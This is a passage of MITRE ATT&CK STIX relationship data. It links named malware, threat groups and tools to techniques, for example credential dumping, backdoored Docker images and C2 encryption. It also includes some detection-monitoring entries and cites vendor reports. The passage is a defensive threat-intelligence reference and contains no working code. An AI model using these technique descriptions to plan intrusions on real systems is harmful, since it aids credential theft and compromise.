2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35c568aa-29af-4879-bdee-4f6a1f54ff22","created":"2022-10-04T22:06:02.759Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T22:06:02.759Z","description":"[SUGARUSH](https://attack.mitre.org/software/S1049) has checked for internet connectivity from an infected host before attempting to establish a new TCP connection.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--44e2a842-415b-47f4-8549-83fbdb8a5674","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35ca3779-c632-4a7e-a931-7472128fb10d","created":"2021-10-01T01:57:31.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lacework TeamTNT May 2021","description":"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.","url":"https://www.lacework.com/blog/taking-teamtnt-docker-images-offline"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:23:56.909Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has uploaded backdoored Docker images to Docker Hub.(Citation: Lacework TeamTNT May 2021)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--35ca6c35-f1e9-49b7-a8c9-a67951c57ea0","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) contains functionality to collect information from the clipboard.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.188Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35d35ecf-1326-4690-b105-23280e29c120","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.408Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are Base64-encoded.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35d6d4f5-3c25-47bb-97d9-67d1e004d180","created":"2024-02-21T19:21:33.519Z","revoked":false,"external_references":[{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:21:33.519Z","description":"[Akira](https://attack.mitre.org/groups/G1024) uses the built-in [Nltest](https://attack.mitre.org/software/S0359) utility or tools such as [AdFind](https://attack.mitre.org/software/S0552) to enumerate Active Directory trusts in victim environments.(Citation: Arctic Wolf Akira 2023) ","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35d76097-4eee-4b37-8b5c-05eec6ab7911","created":"2024-03-26T18:47:48.040Z","revoked":false,"external_references":[{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T18:47:48.040Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can use IP-based geolocation to limit infections to victims in North America, Europe, and a small number of Asian-Pacific nations.(Citation: Secureworks Gold Prelude Profile)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35d9e191-e069-47f4-bce9-750eb9234c0c","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for file names that are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. ","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35dd502a-97a0-4aa2-a162-aa8a49a9e043","created":"2023-09-01T21:29:27.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-01T22:46:48.323Z","description":"Monitor for other unusual network traffic that may indicate additional malicious content transferred to the system. Use network intrusion detection systems, sometimes with SSL/TLS inspection, to look for known malicious payloads, content obfuscation, and exploit code.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35dde9bf-4f03-4244-ae30-d2ddfdc450b1","created":"2023-02-16T18:51:25.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:03:46.774Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can detect profilers by verifying the `COR_ENABLE_PROFILING` environment variable is present and active.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35e6542c-b796-478b-b42d-d5b4ddf511d5","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.838Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can gather hashed passwords by dumping SAM/SECURITY hive.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35e66e21-edaf-46ed-8cec-32ba4ce92aa4","type":"relationship","created":"2021-01-07T20:50:42.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-01-07T20:50:42.087Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used BITSadmin to download and execute malicious DLLs.(Citation: Intrinsec Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35ec37ba-44aa-49b1-9379-3f6070554c62","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Camba RARSTONE","description":"Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/"}],"modified":"2020-03-16T19:06:33.145Z","description":"[RARSTONE](https://attack.mitre.org/software/S0055) obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.(Citation: Camba RARSTONE)","relationship_type":"uses","source_ref":"malware--8c553311-0baa-4146-997a-f79acef3d831","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35f02c40-d46f-44fa-8ba2-5106357494b4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/alerts/TA17-318A","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","source_name":"US-CERT FALLCHILL Nov 2017"},{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T16:59:27.322Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) encrypts C2 data with RC4 encryption.(Citation: US-CERT FALLCHILL Nov 2017)(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35f2bf9c-b70c-4c45-b319-0fd728b0cce9","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"disable_win_evt_logging","description":"Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.","url":"https://ptylu.github.io/content/report/report.html?report=25"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T23:40:36.492Z","description":"Monitor for logging, messaging that may disable Windows event logging to limit data that can be leveraged for detections and audits. For example, adversaries may modify the EventLog file path to a different file name and location.(Citation: disable_win_evt_logging) ","relationship_type":"detects","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35f3fba0-7deb-4436-87a2-503c96f69342","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SDelete July 2016","description":"Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.","url":"https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"}],"modified":"2019-04-24T00:37:08.768Z","description":"[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.(Citation: Microsoft SDelete July 2016)","relationship_type":"uses","source_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35f5caad-87d0-46c5-b2b6-eb69b0eda6bd","type":"relationship","created":"2020-03-17T16:53:09.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.","source_name":"Securelist GCMAN"}],"modified":"2020-03-17T16:53:09.920Z","description":"[GCMAN](https://attack.mitre.org/groups/G0036) uses VNC for lateral movement.(Citation: Securelist GCMAN)","relationship_type":"uses","source_ref":"intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35f5f7b9-8b86-4390-9f99-1d56aa1ae32a","created":"2021-10-12T20:52:42.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.508Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [pwdump](https://attack.mitre.org/software/S0006), [PowerSploit](https://attack.mitre.org/software/S0194), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--35fe4117-1f37-4968-8b9a-21ce4217516f","created":"2023-03-17T15:28:48.190Z","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T15:28:48.190Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) acquired servers to host their malicious tools.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35fe75a6-11d0-4528-97ee-852aced5ed0a","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor newly executed processes that may attempt to find cloud groups and permission settings.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--360a4f50-968c-4206-9173-9155f646ab4a","created":"2022-08-08T20:24:54.396Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) can use HTTP for C2.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T20:24:54.396Z","relationship_type":"uses","source_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--360f1c0d-c6ec-4d49-92a0-e8ce63559960","type":"relationship","created":"2019-06-24T19:05:41.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2019-06-24T19:05:41.430Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common web browsers.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36106fcd-5f7f-47b9-8a45-1faa89d2ba36","type":"relationship","created":"2021-02-12T20:07:43.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dragos EKANS","url":"https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/","description":"Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."},{"source_name":"Palo Alto Unit 42 EKANS","url":"https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/","description":"Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021."}],"modified":"2021-05-04T18:06:34.274Z","description":"[EKANS](https://attack.mitre.org/software/S0605) uses standard encryption library functions to encrypt files.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)","relationship_type":"uses","source_ref":"malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36112f24-7814-4c75-b5b7-a1205bb28b68","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"TrendMicro Gamaredon April 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."},{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."}],"modified":"2022-02-17T16:16:01.724Z","description":"A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: CERT-EE Gamaredon January 2021)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3614b421-b869-4b33-a979-0c09f0bc275f","type":"relationship","created":"2021-08-03T15:19:36.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2022-01-18T18:10:37.910Z","description":"[BoomBox](https://attack.mitre.org/software/S0635) can download files from Dropbox using a hardcoded access token.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3618780c-4199-465e-931e-812489d3a8ad","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor newly executed processes that may hijack a legitimate user's SSH session to move laterally within an environment.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--361cbd71-b178-44d0-9802-78a310938bad","type":"relationship","created":"2017-05-31T21:33:27.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html","description":"Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.","source_name":"FireEye Operation Molerats"}],"modified":"2019-03-25T14:27:23.923Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has used forged Microsoft code-signing certificates on malware.(Citation: FireEye Operation Molerats)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--361df799-64ee-405f-bd31-788ecc5c8d45","created":"2022-08-16T19:45:16.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T15:53:25.153Z","description":"[Small 